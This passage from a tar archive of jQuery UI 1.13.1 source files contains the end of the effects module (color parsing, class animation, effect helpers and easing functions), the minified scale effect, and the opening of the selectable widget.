].cache ] = parsed[ spaces[ spaceName ].cache ]; rgba = inst._rgba = parsed._rgba; // exit each( stringParsers ) here because we matched return false; } } ); // Found a stringParser that handled it if ( rgba.length ) { // if this came from a parsed string, force "transparent" when alpha is 0 // chrome, (and maybe others) return "transparent" as rgba(0,0,0,0) if ( rgba.join() === "0,0,0,0" ) { jQuery.extend( rgba, colors.transparent ); } return inst; } // named colors return colors[ string ]; } color.fn = jQuery.extend( color.prototype, { parse: function( red, green, blue, alpha ) { if ( red === undefined ) { this._rgba = [ null, null, null, null ]; return this; } if ( red.jquery || red.nodeType ) { red = jQuery( red ).css( green ); green = undefined; } var inst = this, type = getType( red ), rgba = this._rgba = []; // more than 1 argument specified - assume ( red, green, blue, alpha ) if ( green !== undefined ) { red = [ red, green, blue, alpha ]; type = "array"; } if ( type === "string" ) { return this.parse( stringParse( red ) || colors._default ); } if ( type === "array" ) { each( spaces.rgba.props, function( _key, prop ) { rgba[ prop.idx ] = clamp( red[ prop.idx ], prop ); } ); return this; } if ( type === "object" ) { if ( red instanceof color ) { each( spaces, function( _spaceName, space ) { if ( red[ space.cache ] ) { inst[ space.cache ] = red[ space.cache ].slice(); } } ); } else { each( spaces, function( _spaceName, space ) { var cache = space.cache; each( space.props, function( key, prop ) { // if the cache doesn't exist, and we know how to convert if ( !inst[ cache ] && space.to ) { // if the value was null, we don't need to copy it // if the key was alpha, we don't need to copy it either if ( key === "alpha" || red[ key ] == null ) { return; } inst[ cache ] = space.to( inst._rgba ); } // this is the only case where we allow nulls for ALL properties. // call clamp with alwaysAllowEmpty inst[ cache ][ prop.idx ] = clamp( red[ key ], prop, true ); } ); // everything defined but alpha? if ( inst[ cache ] && jQuery.inArray( null, inst[ cache ].slice( 0, 3 ) ) < 0 ) { // use the default of 1 if ( inst[ cache ][ 3 ] == null ) { inst[ cache ][ 3 ] = 1; } if ( space.from ) { inst._rgba = space.from( inst[ cache ] ); } } } ); } return this; } }, is: function( compare ) { var is = color( compare ), same = true, inst = this; each( spaces, function( _, space ) { var localCache, isCache = is[ space.cache ]; if ( isCache ) { localCache = inst[ space.cache ] || space.to && space.to( inst._rgba ) || []; each( space.props, function( _, prop ) { if ( isCache[ prop.idx ] != null ) { same = ( isCache[ prop.idx ] === localCache[ prop.idx ] ); return same; } } ); } return same; } ); return same; }, _space: function() { var used = [], inst = this; each( spaces, function( spaceName, space ) { if ( inst[ space.cache ] ) { used.push( spaceName ); } } ); return used.pop(); }, transition: function( other, distance ) { var end = color( other ), spaceName = end._space(), space = spaces[ spaceName ], startColor = this.alpha() === 0 ? color( "transparent" ) : this, start = startColor[ space.cache ] || space.to( startColor._rgba ), result = start.slice(); end = end[ space.cache ]; each( space.props, function( _key, prop ) { var index = prop.idx, startValue = start[ index ], endValue = end[ index ], type = propTypes[ prop.type ] || {}; // if null, don't override start value if ( endValue === null ) { return; } // if null - use end if ( startValue === null ) { result[ index ] = endValue; } else { if ( type.mod ) { if ( endValue - startValue > type.mod / 2 ) { startValue += type.mod; } else if ( startValue - endValue > type.mod / 2 ) { startValue -= type.mod; } } result[ index ] = clamp( ( endValue - startValue ) * distance + startValue, prop ); } } ); return this[ spaceName ]( result ); }, blend: function( opaque ) { // if we are already opaque - return ourself if ( this._rgba[ 3 ] === 1 ) { return this; } var rgb = this._rgba.slice(), a = rgb.pop(), blend = color( opaque )._rgba; return color( jQuery.map( rgb, function( v, i ) { return ( 1 - a ) * blend[ i ] + a * v; } ) ); }, toRgbaString: function() { var prefix = "rgba(", rgba = jQuery.map( this._rgba, function( v, i ) { if ( v != null ) { return v; } return i > 2 ? 1 : 0; } ); if ( rgba[ 3 ] === 1 ) { rgba.pop(); prefix = "rgb("; } return prefix + rgba.join() + ")"; }, toHslaString: function() { var prefix = "hsla(", hsla = jQuery.map( this.hsla(), function( v, i ) { if ( v == null ) { v = i > 2 ? 1 : 0; } // catch 1 and 2 if ( i && i < 3 ) { v = Math.round( v * 100 ) + "%"; } return v; } ); if ( hsla[ 3 ] === 1 ) { hsla.pop(); prefix = "hsl("; } return prefix + hsla.join() + ")"; }, toHexString: function( includeAlpha ) { var rgba = this._rgba.slice(), alpha = rgba.pop(); if ( includeAlpha ) { rgba.push( ~~( alpha * 255 ) ); } return "#" + jQuery.map( rgba, function( v ) { // default to 0 when nulls exist v = ( v || 0 ).toString( 16 ); return v.length === 1 ? "0" + v : v; } ).join( "" ); }, toString: function() { return this._rgba[ 3 ] === 0 ? "transparent" : this.toRgbaString(); } } ); color.fn.parse.prototype = color.fn; // hsla conversions adapted from: // https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RGB.as?r=5021 function hue2rgb( p, q, h ) { h = ( h + 1 ) % 1; if ( h * 6 < 1 ) { return p + ( q - p ) * h * 6; } if ( h * 2 < 1 ) { return q; } if ( h * 3 < 2 ) { return p + ( q - p ) * ( ( 2 / 3 ) - h ) * 6; } return p; } spaces.hsla.to = function( rgba ) { if ( rgba[ 0 ] == null || rgba[ 1 ] == null || rgba[ 2 ] == null ) { return [ null, null, null, rgba[ 3 ] ]; } var r = rgba[ 0 ] / 255, g = rgba[ 1 ] / 255, b = rgba[ 2 ] / 255, a = rgba[ 3 ], max = Math.max( r, g, b ), min = Math.min( r, g, b ), diff = max - min, add = max + min, l = add * 0.5, h, s; if ( min === max ) { h = 0; } else if ( r === max ) { h = ( 60 * ( g - b ) / diff ) + 360; } else if ( g === max ) { h = ( 60 * ( b - r ) / diff ) + 120; } else { h = ( 60 * ( r - g ) / diff ) + 240; } // chroma (diff) == 0 means greyscale which, by definition, saturation = 0% // otherwise, saturation is based on the ratio of chroma (diff) to lightness (add) if ( diff === 0 ) { s = 0; } else if ( l <= 0.5 ) { s = diff / add; } else { s = diff / ( 2 - add ); } return [ Math.round( h ) % 360, s, l, a == null ? 1 : a ]; }; spaces.hsla.from = function( hsla ) { if ( hsla[ 0 ] == null || hsla[ 1 ] == null || hsla[ 2 ] == null ) { return [ null, null, null, hsla[ 3 ] ]; } var h = hsla[ 0 ] / 360, s = hsla[ 1 ], l = hsla[ 2 ], a = hsla[ 3 ], q = l <= 0.5 ? l * ( 1 + s ) : l + s - l * s, p = 2 * l - q; return [ Math.round( hue2rgb( p, q, h + ( 1 / 3 ) ) * 255 ), Math.round( hue2rgb( p, q, h ) * 255 ), Math.round( hue2rgb( p, q, h - ( 1 / 3 ) ) * 255 ), a ]; }; each( spaces, function( spaceName, space ) { var props = space.props, cache = space.cache, to = space.to, from = space.from; // makes rgba() and hsla() color.fn[ spaceName ] = function( value ) { // generate a cache for this space if it doesn't exist if ( to && !this[ cache ] ) { this[ cache ] = to( this._rgba ); } if ( value === undefined ) { return this[ cache ].slice(); } var ret, type = getType( value ), arr = ( type === "array" || type === "object" ) ? value : arguments, local = this[ cache ].slice(); each( props, function( key, prop ) { var val = arr[ type === "object" ? key : prop.idx ]; if ( val == null ) { val = local[ prop.idx ]; } local[ prop.idx ] = clamp( val, prop ); } ); if ( from ) { ret = color( from( local ) ); ret[ cache ] = local; return ret; } else { return color( local ); } }; // makes red() green() blue() alpha() hue() saturation() lightness() each( props, function( key, prop ) { // alpha is included in more than one space if ( color.fn[ key ] ) { return; } color.fn[ key ] = function( value ) { var local, cur, match, fn, vtype = getType( value ); if ( key === "alpha" ) { fn = this._hsla ? "hsla" : "rgba"; } else { fn = spaceName; } local = this[ fn ](); cur = local[ prop.idx ]; if ( vtype === "undefined" ) { return cur; } if ( vtype === "function" ) { value = value.call( this, cur ); vtype = getType( value ); } if ( value == null && prop.empty ) { return this; } if ( vtype === "string" ) { match = rplusequals.exec( value ); if ( match ) { value = cur + parseFloat( match[ 2 ] ) * ( match[ 1 ] === "+" ? 1 : -1 ); } } local[ prop.idx ] = value; return this[ fn ]( local ); }; } ); } ); // add cssHook and .fx.step function for each named hook. // accept a space separated string of properties color.hook = function( hook ) { var hooks = hook.split( " " ); each( hooks, function( _i, hook ) { jQuery.cssHooks[ hook ] = { set: function( elem, value ) { var parsed, curElem, backgroundColor = ""; if ( value !== "transparent" && ( getType( value ) !== "string" || ( parsed = stringParse( value ) ) ) ) { value = color( parsed || value ); if ( !support.rgba && value._rgba[ 3 ] !== 1 ) { curElem = hook === "backgroundColor" ? elem.parentNode : elem; while ( ( backgroundColor === "" || backgroundColor === "transparent" ) && curElem && curElem.style ) { try { backgroundColor = jQuery.css( curElem, "backgroundColor" ); curElem = curElem.parentNode; } catch ( e ) { } } value = value.blend( backgroundColor && backgroundColor !== "transparent" ? backgroundColor : "_default" ); } value = value.toRgbaString(); } try { elem.style[ hook ] = value; } catch ( e ) { // wrapped to prevent IE from throwing errors on "invalid" values like 'auto' or 'inherit' } } }; jQuery.fx.step[ hook ] = function( fx ) { if ( !fx.colorInit ) { fx.start = color( fx.elem, hook ); fx.end = color( fx.end ); fx.colorInit = true; } jQuery.cssHooks[ hook ].set( fx.elem, fx.start.transition( fx.end, fx.pos ) ); }; } ); }; color.hook( stepHooks ); jQuery.cssHooks.borderColor = { expand: function( value ) { var expanded = {}; each( [ "Top", "Right", "Bottom", "Left" ], function( _i, part ) { expanded[ "border" + part + "Color" ] = value; } ); return expanded; } }; // Basic color names only. // Usage of any of the other color names requires adding yourself or including // jquery.color.svg-names.js. colors = jQuery.Color.names = { // 4.1. Basic color keywords aqua: "#00ffff", black: "#000000", blue: "#0000ff", fuchsia: "#ff00ff", gray: "#808080", green: "#008000", lime: "#00ff00", maroon: "#800000", navy: "#000080", olive: "#808000", purple: "#800080", red: "#ff0000", silver: "#c0c0c0", teal: "#008080", white: "#ffffff", yellow: "#ffff00", // 4.2.3. "transparent" color keyword transparent: [ null, null, null, 0 ], _default: "#ffffff" }; var dataSpace = "ui-effects-", dataSpaceStyle = "ui-effects-style", dataSpaceAnimated = "ui-effects-animated"; $.effects = { effect: {} }; /******************************************************************************/ /****************************** CLASS ANIMATIONS ******************************/ /******************************************************************************/ ( function() { var classAnimationActions = [ "add", "remove", "toggle" ], shorthandStyles = { border: 1, borderBottom: 1, borderColor: 1, borderLeft: 1, borderRight: 1, borderTop: 1, borderWidth: 1, margin: 1, padding: 1 }; $.each( [ "borderLeftStyle", "borderRightStyle", "borderBottomStyle", "borderTopStyle" ], function( _, prop ) { $.fx.step[ prop ] = function( fx ) { if ( fx.end !== "none" && !fx.setAttr || fx.pos === 1 && !fx.setAttr ) { jQuery.style( fx.elem, prop, fx.end ); fx.setAttr = true; } }; } ); function camelCase( string ) { return string.replace( /-([\da-z])/gi, function( all, letter ) { return letter.toUpperCase(); } ); } function getElementStyles( elem ) { var key, len, style = elem.ownerDocument.defaultView ? elem.ownerDocument.defaultView.getComputedStyle( elem, null ) : elem.currentStyle, styles = {}; if ( style && style.length && style[ 0 ] && style[ style[ 0 ] ] ) { len = style.length; while ( len-- ) { key = style[ len ]; if ( typeof style[ key ] === "string" ) { styles[ camelCase( key ) ] = style[ key ]; } } // Support: Opera, IE <9 } else { for ( key in style ) { if ( typeof style[ key ] === "string" ) { styles[ key ] = style[ key ]; } } } return styles; } function styleDifference( oldStyle, newStyle ) { var diff = {}, name, value; for ( name in newStyle ) { value = newStyle[ name ]; if ( oldStyle[ name ] !== value ) { if ( !shorthandStyles[ name ] ) { if ( $.fx.step[ name ] || !isNaN( parseFloat( value ) ) ) { diff[ name ] = value; } } } } return diff; } // Support: jQuery <1.8 if ( !$.fn.addBack ) { $.fn.addBack = function( selector ) { return this.add( selector == null ? this.prevObject : this.prevObject.filter( selector ) ); }; } $.effects.animateClass = function( value, duration, easing, callback ) { var o = $.speed( duration, easing, callback ); return this.queue( function() { var animated = $( this ), baseClass = animated.attr( "class" ) || "", applyClassChange, allAnimations = o.children ? animated.find( "*" ).addBack() : animated; // Map the animated objects to store the original styles. allAnimations = allAnimations.map( function() { var el = $( this ); return { el: el, start: getElementStyles( this ) }; } ); // Apply class change applyClassChange = function() { $.each( classAnimationActions, function( i, action ) { if ( value[ action ] ) { animated[ action + "Class" ]( value[ action ] ); } } ); }; applyClassChange(); // Map all animated objects again - calculate new styles and diff allAnimations = allAnimations.map( function() { this.end = getElementStyles( this.el[ 0 ] ); this.diff = styleDifference( this.start, this.end ); return this; } ); // Apply original class animated.attr( "class", baseClass ); // Map all animated objects again - this time collecting a promise allAnimations = allAnimations.map( function() { var styleInfo = this, dfd = $.Deferred(), opts = $.extend( {}, o, { queue: false, complete: function() { dfd.resolve( styleInfo ); } } ); this.el.animate( this.diff, opts ); return dfd.promise(); } ); // Once all animations have completed: $.when.apply( $, allAnimations.get() ).done( function() { // Set the final class applyClassChange(); // For each animated element, // clear all css properties that were animated $.each( arguments, function() { var el = this.el; $.each( this.diff, function( key ) { el.css( key, "" ); } ); } ); // This is guarnteed to be there if you use jQuery.speed() // it also handles dequeuing the next anim... o.complete.call( animated[ 0 ] ); } ); } ); }; $.fn.extend( { addClass: ( function( orig ) { return function( classNames, speed, easing, callback ) { return speed ? $.effects.animateClass.call( this, { add: classNames }, speed, easing, callback ) : orig.apply( this, arguments ); }; } )( $.fn.addClass ), removeClass: ( function( orig ) { return function( classNames, speed, easing, callback ) { return arguments.length > 1 ? $.effects.animateClass.call( this, { remove: classNames }, speed, easing, callback ) : orig.apply( this, arguments ); }; } )( $.fn.removeClass ), toggleClass: ( function( orig ) { return function( classNames, force, speed, easing, callback ) { if ( typeof force === "boolean" || force === undefined ) { if ( !speed ) { // Without speed parameter return orig.apply( this, arguments ); } else { return $.effects.animateClass.call( this, ( force ? { add: classNames } : { remove: classNames } ), speed, easing, callback ); } } else { // Without force parameter return $.effects.animateClass.call( this, { toggle: classNames }, force, speed, easing ); } }; } )( $.fn.toggleClass ), switchClass: function( remove, add, speed, easing, callback ) { return $.effects.animateClass.call( this, { add: add, remove: remove }, speed, easing, callback ); } } ); } )(); /******************************************************************************/ /*********************************** EFFECTS **********************************/ /******************************************************************************/ ( function() { if ( $.expr && $.expr.pseudos && $.expr.pseudos.animated ) { $.expr.pseudos.animated = ( function( orig ) { return function( elem ) { return !!$( elem ).data( dataSpaceAnimated ) || orig( elem ); }; } )( $.expr.pseudos.animated ); } if ( $.uiBackCompat !== false ) { $.extend( $.effects, { // Saves a set of properties in a data storage save: function( element, set ) { var i = 0, length = set.length; for ( ; i < length; i++ ) { if ( set[ i ] !== null ) { element.data( dataSpace + set[ i ], element[ 0 ].style[ set[ i ] ] ); } } }, // Restores a set of previously saved properties from a data storage restore: function( element, set ) { var val, i = 0, length = set.length; for ( ; i < length; i++ ) { if ( set[ i ] !== null ) { val = element.data( dataSpace + set[ i ] ); element.css( set[ i ], val ); } } }, setMode: function( el, mode ) { if ( mode === "toggle" ) { mode = el.is( ":hidden" ) ? "show" : "hide"; } return mode; }, // Wraps the element around a wrapper that copies position properties createWrapper: function( element ) { // If the element is already wrapped, return it if ( element.parent().is( ".ui-effects-wrapper" ) ) { return element.parent(); } // Wrap the element var props = { width: element.outerWidth( true ), height: element.outerHeight( true ), "float": element.css( "float" ) }, wrapper = $( "<div></div>" ) .addClass( "ui-effects-wrapper" ) .css( { fontSize: "100%", background: "transparent", border: "none", margin: 0, padding: 0 } ), // Store the size in case width/height are defined in % - Fixes #5245 size = { width: element.width(), height: element.height() }, active = document.activeElement; // Support: Firefox // Firefox incorrectly exposes anonymous content // https://bugzilla.mozilla.org/show_bug.cgi?id=561664 try { // eslint-disable-next-line no-unused-expressions active.id; } catch ( e ) { active = document.body; } element.wrap( wrapper ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).trigger( "focus" ); } // Hotfix for jQuery 1.4 since some change in wrap() seems to actually // lose the reference to the wrapped element wrapper = element.parent(); // Transfer positioning properties to the wrapper if ( element.css( "position" ) === "static" ) { wrapper.css( { position: "relative" } ); element.css( { position: "relative" } ); } else { $.extend( props, { position: element.css( "position" ), zIndex: element.css( "z-index" ) } ); $.each( [ "top", "left", "bottom", "right" ], function( i, pos ) { props[ pos ] = element.css( pos ); if ( isNaN( parseInt( props[ pos ], 10 ) ) ) { props[ pos ] = "auto"; } } ); element.css( { position: "relative", top: 0, left: 0, right: "auto", bottom: "auto" } ); } element.css( size ); return wrapper.css( props ).show(); }, removeWrapper: function( element ) { var active = document.activeElement; if ( element.parent().is( ".ui-effects-wrapper" ) ) { element.parent().replaceWith( element ); // Fixes #7595 - Elements lose focus when wrapped. if ( element[ 0 ] === active || $.contains( element[ 0 ], active ) ) { $( active ).trigger( "focus" ); } } return element; } } ); } $.extend( $.effects, { version: "1.13.1", define: function( name, mode, effect ) { if ( !effect ) { effect = mode; mode = "effect"; } $.effects.effect[ name ] = effect; $.effects.effect[ name ].mode = mode; return effect; }, scaledDimensions: function( element, percent, direction ) { if ( percent === 0 ) { return { height: 0, width: 0, outerHeight: 0, outerWidth: 0 }; } var x = direction !== "horizontal" ? ( ( percent || 100 ) / 100 ) : 1, y = direction !== "vertical" ? ( ( percent || 100 ) / 100 ) : 1; return { height: element.height() * y, width: element.width() * x, outerHeight: element.outerHeight() * y, outerWidth: element.outerWidth() * x }; }, clipToBox: function( animation ) { return { width: animation.clip.right - animation.clip.left, height: animation.clip.bottom - animation.clip.top, left: animation.clip.left, top: animation.clip.top }; }, // Injects recently queued functions to be first in line (after "inprogress") unshift: function( element, queueLength, count ) { var queue = element.queue(); if ( queueLength > 1 ) { queue.splice.apply( queue, [ 1, 0 ].concat( queue.splice( queueLength, count ) ) ); } element.dequeue(); }, saveStyle: function( element ) { element.data( dataSpaceStyle, element[ 0 ].style.cssText ); }, restoreStyle: function( element ) { element[ 0 ].style.cssText = element.data( dataSpaceStyle ) || ""; element.removeData( dataSpaceStyle ); }, mode: function( element, mode ) { var hidden = element.is( ":hidden" ); if ( mode === "toggle" ) { mode = hidden ? "show" : "hide"; } if ( hidden ? mode === "hide" : mode === "show" ) { mode = "none"; } return mode; }, // Translates a [top,left] array into a baseline value getBaseline: function( origin, original ) { var y, x; switch ( origin[ 0 ] ) { case "top": y = 0; break; case "middle": y = 0.5; break; case "bottom": y = 1; break; default: y = origin[ 0 ] / original.height; } switch ( origin[ 1 ] ) { case "left": x = 0; break; case "center": x = 0.5; break; case "right": x = 1; break; default: x = origin[ 1 ] / original.width; } return { x: x, y: y }; }, // Creates a placeholder element so that the original element can be made absolute createPlaceholder: function( element ) { var placeholder, cssPosition = element.css( "position" ), position = element.position(); // Lock in margins first to account for form elements, which // will change margin if you explicitly set height // see: http://jsfiddle.net/JZSMt/3/ https://bugs.webkit.org/show_bug.cgi?id=107380 // Support: Safari element.css( { marginTop: element.css( "marginTop" ), marginBottom: element.css( "marginBottom" ), marginLeft: element.css( "marginLeft" ), marginRight: element.css( "marginRight" ) } ) .outerWidth( element.outerWidth() ) .outerHeight( element.outerHeight() ); if ( /^(static|relative)/.test( cssPosition ) ) { cssPosition = "absolute"; placeholder = $( "<" + element[ 0 ].nodeName + ">" ).insertAfter( element ).css( { // Convert inline to inline block to account for inline elements // that turn to inline block based on content (like img) display: /^(inline|ruby)/.test( element.css( "display" ) ) ? "inline-block" : "block", visibility: "hidden", // Margins need to be set to account for margin collapse marginTop: element.css( "marginTop" ), marginBottom: element.css( "marginBottom" ), marginLeft: element.css( "marginLeft" ), marginRight: element.css( "marginRight" ), "float": element.css( "float" ) } ) .outerWidth( element.outerWidth() ) .outerHeight( element.outerHeight() ) .addClass( "ui-effects-placeholder" ); element.data( dataSpace + "placeholder", placeholder ); } element.css( { position: cssPosition, left: position.left, top: position.top } ); return placeholder; }, removePlaceholder: function( element ) { var dataKey = dataSpace + "placeholder", placeholder = element.data( dataKey ); if ( placeholder ) { placeholder.remove(); element.removeData( dataKey ); } }, // Removes a placeholder if it exists and restores // properties that were modified during placeholder creation cleanUp: function( element ) { $.effects.restoreStyle( element ); $.effects.removePlaceholder( element ); }, setTransition: function( element, list, factor, value ) { value = value || {}; $.each( list, function( i, x ) { var unit = element.cssUnit( x ); if ( unit[ 0 ] > 0 ) { value[ x ] = unit[ 0 ] * factor + unit[ 1 ]; } } ); return value; } } ); // Return an effect options object for the given parameters: function _normalizeArguments( effect, options, speed, callback ) { // Allow passing all options as the first parameter if ( $.isPlainObject( effect ) ) { options = effect; effect = effect.effect; } // Convert to an object effect = { effect: effect }; // Catch (effect, null, ...) if ( options == null ) { options = {}; } // Catch (effect, callback) if ( typeof options === "function" ) { callback = options; speed = null; options = {}; } // Catch (effect, speed, ?) if ( typeof options === "number" || $.fx.speeds[ options ] ) { callback = speed; speed = options; options = {}; } // Catch (effect, options, callback) if ( typeof speed === "function" ) { callback = speed; speed = null; } // Add options to effect if ( options ) { $.extend( effect, options ); } speed = speed || options.duration; effect.duration = $.fx.off ? 0 : typeof speed === "number" ? speed : speed in $.fx.speeds ? $.fx.speeds[ speed ] : $.fx.speeds._default; effect.complete = callback || options.complete; return effect; } function standardAnimationOption( option ) { // Valid standard speeds (nothing, number, named speed) if ( !option || typeof option === "number" || $.fx.speeds[ option ] ) { return true; } // Invalid strings - treat as "normal" speed if ( typeof option === "string" && !$.effects.effect[ option ] ) { return true; } // Complete callback if ( typeof option === "function" ) { return true; } // Options hash (but not naming an effect) if ( typeof option === "object" && !option.effect ) { return true; } // Didn't match any standard API return false; } $.fn.extend( { effect: function( /* effect, options, speed, callback */ ) { var args = _normalizeArguments.apply( this, arguments ), effectMethod = $.effects.effect[ args.effect ], defaultMode = effectMethod.mode, queue = args.queue, queueName = queue || "fx", complete = args.complete, mode = args.mode, modes = [], prefilter = function( next ) { var el = $( this ), normalizedMode = $.effects.mode( el, mode ) || defaultMode; // Sentinel for duck-punching the :animated pseudo-selector el.data( dataSpaceAnimated, true ); // Save effect mode for later use, // we can't just call $.effects.mode again later, // as the .show() below destroys the initial state modes.push( normalizedMode ); // See $.uiBackCompat inside of run() for removal of defaultMode in 1.14 if ( defaultMode && ( normalizedMode === "show" || ( normalizedMode === defaultMode && normalizedMode === "hide" ) ) ) { el.show(); } if ( !defaultMode || normalizedMode !== "none" ) { $.effects.saveStyle( el ); } if ( typeof next === "function" ) { next(); } }; if ( $.fx.off || !effectMethod ) { // Delegate to the original method (e.g., .show()) if possible if ( mode ) { return this[ mode ]( args.duration, complete ); } else { return this.each( function() { if ( complete ) { complete.call( this ); } } ); } } function run( next ) { var elem = $( this ); function cleanup() { elem.removeData( dataSpaceAnimated ); $.effects.cleanUp( elem ); if ( args.mode === "hide" ) { elem.hide(); } done(); } function done() { if ( typeof complete === "function" ) { complete.call( elem[ 0 ] ); } if ( typeof next === "function" ) { next(); } } // Override mode option on a per element basis, // as toggle can be either show or hide depending on element state args.mode = modes.shift(); if ( $.uiBackCompat !== false && !defaultMode ) { if ( elem.is( ":hidden" ) ? mode === "hide" : mode === "show" ) { // Call the core method to track "olddisplay" properly elem[ mode ](); done(); } else { effectMethod.call( elem[ 0 ], args, done ); } } else { if ( args.mode === "none" ) { // Call the core method to track "olddisplay" properly elem[ mode ](); done(); } else { effectMethod.call( elem[ 0 ], args, cleanup ); } } } // Run prefilter on all elements first to ensure that // any showing or hiding happens before placeholder creation, // which ensures that any layout changes are correctly captured. return queue === false ? this.each( prefilter ).each( run ) : this.queue( queueName, prefilter ).queue( queueName, run ); }, show: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "show"; return this.effect.call( this, args ); } }; } )( $.fn.show ), hide: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "hide"; return this.effect.call( this, args ); } }; } )( $.fn.hide ), toggle: ( function( orig ) { return function( option ) { if ( standardAnimationOption( option ) || typeof option === "boolean" ) { return orig.apply( this, arguments ); } else { var args = _normalizeArguments.apply( this, arguments ); args.mode = "toggle"; return this.effect.call( this, args ); } }; } )( $.fn.toggle ), cssUnit: function( key ) { var style = this.css( key ), val = []; $.each( [ "em", "px", "%", "pt" ], function( i, unit ) { if ( style.indexOf( unit ) > 0 ) { val = [ parseFloat( style ), unit ]; } } ); return val; }, cssClip: function( clipObj ) { if ( clipObj ) { return this.css( "clip", "rect(" + clipObj.top + "px " + clipObj.right + "px " + clipObj.bottom + "px " + clipObj.left + "px)" ); } return parseClip( this.css( "clip" ), this ); }, transfer: function( options, done ) { var element = $( this ), target = $( options.to ), targetFixed = target.css( "position" ) === "fixed", body = $( "body" ), fixTop = targetFixed ? body.scrollTop() : 0, fixLeft = targetFixed ? body.scrollLeft() : 0, endPosition = target.offset(), animation = { top: endPosition.top - fixTop, left: endPosition.left - fixLeft, height: target.innerHeight(), width: target.innerWidth() }, startPosition = element.offset(), transfer = $( "<div class='ui-effects-transfer'></div>" ); transfer .appendTo( "body" ) .addClass( options.className ) .css( { top: startPosition.top - fixTop, left: startPosition.left - fixLeft, height: element.innerHeight(), width: element.innerWidth(), position: targetFixed ? "fixed" : "absolute" } ) .animate( animation, options.duration, options.easing, function() { transfer.remove(); if ( typeof done === "function" ) { done(); } } ); } } ); function parseClip( str, element ) { var outerWidth = element.outerWidth(), outerHeight = element.outerHeight(), clipRegex = /^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/, values = clipRegex.exec( str ) || [ "", 0, outerWidth, outerHeight, 0 ]; return { top: parseFloat( values[ 1 ] ) || 0, right: values[ 2 ] === "auto" ? outerWidth : parseFloat( values[ 2 ] ), bottom: values[ 3 ] === "auto" ? outerHeight : parseFloat( values[ 3 ] ), left: parseFloat( values[ 4 ] ) || 0 }; } $.fx.step.clip = function( fx ) { if ( !fx.clipInit ) { fx.start = $( fx.elem ).cssClip(); if ( typeof fx.end === "string" ) { fx.end = parseClip( fx.end, fx.elem ); } fx.clipInit = true; } $( fx.elem ).cssClip( { top: fx.pos * ( fx.end.top - fx.start.top ) + fx.start.top, right: fx.pos * ( fx.end.right - fx.start.right ) + fx.start.right, bottom: fx.pos * ( fx.end.bottom - fx.start.bottom ) + fx.start.bottom, left: fx.pos * ( fx.end.left - fx.start.left ) + fx.start.left } ); }; } )(); /******************************************************************************/ /*********************************** EASING ***********************************/ /******************************************************************************/ ( function() { // Based on easing equations from Robert Penner (http://www.robertpenner.com/easing) var baseEasings = {}; $.each( [ "Quad", "Cubic", "Quart", "Quint", "Expo" ], function( i, name ) { baseEasings[ name ] = function( p ) { return Math.pow( p, i + 2 ); }; } ); $.extend( baseEasings, { Sine: function( p ) { return 1 - Math.cos( p * Math.PI / 2 ); }, Circ: function( p ) { return 1 - Math.sqrt( 1 - p * p ); }, Elastic: function( p ) { return p === 0 || p === 1 ? p : -Math.pow( 2, 8 * ( p - 1 ) ) * Math.sin( ( ( p - 1 ) * 80 - 7.5 ) * Math.PI / 15 ); }, Back: function( p ) { return p * p * ( 3 * p - 2 ); }, Bounce: function( p ) { var pow2, bounce = 4; while ( p < ( ( pow2 = Math.pow( 2, --bounce ) ) - 1 ) / 11 ) {} return 1 / Math.pow( 4, 3 - bounce ) - 7.5625 * Math.pow( ( pow2 * 3 - 2 ) / 22 - p, 2 ); } } ); $.each( baseEasings, function( name, easeIn ) { $.easing[ "easeIn" + name ] = easeIn; $.easing[ "easeOut" + name ] = function( p ) { return 1 - easeIn( 1 - p ); }; $.easing[ "easeInOut" + name ] = function( p ) { return p < 0.5 ? easeIn( p * 2 ) / 2 : 1 - easeIn( p * -2 + 2 ) / 2; }; } ); } )(); return $.effects; } ); ���������������������js/jquery/ui/effect-scale.min.js��������������������������������������������������������������������0000644�����������������00000001303�14717703502�0012560 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Scale 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect","./effect-size"],e):e(jQuery)}(function(n){"use strict";return n.effects.define("scale",function(e,t){var f=n(this),i=e.mode,i=parseInt(e.percent,10)||(0===parseInt(e.percent,10)||"effect"!==i?0:100),f=n.extend(!0,{from:n.effects.scaledDimensions(f),to:n.effects.scaledDimensions(f,i,e.direction||"both"),origin:e.origin||["middle","center"]},e);e.fade&&(f.from.opacity=1,f.to.opacity=0),n.effects.effect.size.call(this,f,t)})});�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/selectable.js��������������������������������������������������������������������������0000644�����������������00000017613�14717703502�0011573 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Selectable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Selectable //>>group: Interactions //>>description: Allows groups of elements to be selected with the mouse. //>>docs: http://api.jqueryui.com/selectable/ //>>demos: http://jqueryui.com/selectable/ //>>css.structure: ../../themes/base/selectable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.widget( "ui.selectable", $.ui.mouse, { version: "1.13.1", options: { appendTo: "body", autoRefresh: true, distance: 0, filter: "*", tolerance: "touch", // Callbacks selected: null, selecting: null, start: null, stop: null, unselected: null, unselecting: null }, _create: function() { var that = this; this._addClass( "ui-selectable" ); this.dragged = false; // Cache selectee children based on filter this.refresh = 